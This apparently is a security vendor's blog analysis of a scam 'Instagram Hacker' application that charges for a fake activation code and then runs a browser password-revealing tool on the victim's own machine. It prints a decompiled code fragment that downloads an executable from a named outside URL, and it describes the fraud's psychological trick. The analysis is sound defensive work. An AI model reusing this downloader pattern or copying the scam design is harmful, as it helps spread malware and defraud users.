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Many people don’t take Potentially Unwanted Applications (PUA) as a serious danger. The reason for such a reckless attitude is that PUA are usually installed with the consent of the user. But this opinion is a big mistake. And not only because a PUA can covertly install other programs like adware or spyware on a drive-by download basis. The vivid example below analyzed by Comodo Threat Research Labs experts clearly demonstrates that a PUA can be a much more threatening weapon.
Meet the software named “Instagram Hacker”. It has the official website https://hackinstagram.net/ and promises … to hack any Instagram account. More of that, you can download and install it for free.
After installation, it prompts to enter an Instagram profile URL and hack the password.
The result comes in a few seconds:
But after clicking “View Password” button, a new window appears:
Clicking “Get An Activation Code” button redirects to “Buy page”.
It offers to buy “Activation Code” but … can you smell a fraud in the air? It’s obvious, no software able to break an Instagram password for seconds can exist. So is Instagram Hacker just another deceiving tool to dupe simpletons? The best way to check it is to look inside the application code.
The code is protected with Dotnet Reactor but can be decoded with de4dot tool.
And now we can see for sure the application is a tool of fraud. The first fragment of code just fakes progress demonstration indicator.
But another one is more interesting. As you can see, it contains a URL with an executable to download if activation was successful.
this.filename = “view.exe”;
this.uri = new Uri(“http://software-logistics.net/external/component/download/view.exe”);
WebClient client1 = new WebClient();
client1.DownloadProgressChanged += new DownloadProgressChangedEventHandler(this.method_1);
client1.DownloadFileCompleted += new AsyncCompletedEventHandler(this.method_2);
If we run the executable, we will find out that it is the WebBrowserPassView application from NirSoft:
WebBrowserPassView is just a password extraction tool that reveals the passwords stored by the web browsers. So all passwords this software can extract are not Instagram’s but users’ own passwords kept in their browsers!
Let’s resume: all that Instagram Hacker does is the downloading and launching another PUA from NirSoft. So we obviously face with a fraud tool. Notice the manipulative psychological trick here: if a victim discovers she was cheated, she hardly reports the police about the incident. Because in that case, she would have to confess in trying to hack Instagram, that is an act of committing a cybercrime.
But it’s a thin end of the edge.
The most dangerous threat is that the URL in the application can be easily changed on any other with a malicious file that will be executed on a victim’s machine. So this PUA – as well as many other examples of such malware type – can be used for massive proliferation of various “heavy” malware like trojans, backdoors, ransomware etc.
And this is a good reason to take PUA as really dangerous malware. Because it may turn out to be a springboard for a devastating massive cyberattack.
“Today we shouldn’t consider malware as dangerous or not-so-dangerous,” says Fatih Orhan, the Head of the Comodo Threat Research Labs. ”Any malware does not exist in an isolated space. Nowadays cybercriminals build long malware chains to attack users, and, as you can see, PUA can be a link in such a killing chain. So we should call spade a spade. Yes, these applications are downloaded and run with users’ approval but, as in this case, the approval is extorted by fraud. Throughout potentially unwanted applications pretend to be legitimate, everybody needs to understand it’s just a camouflage. That’s why Comodo not only provide high-end technical protection but regularly informs users to prevent them from dangerous traps in the cyberspace”.
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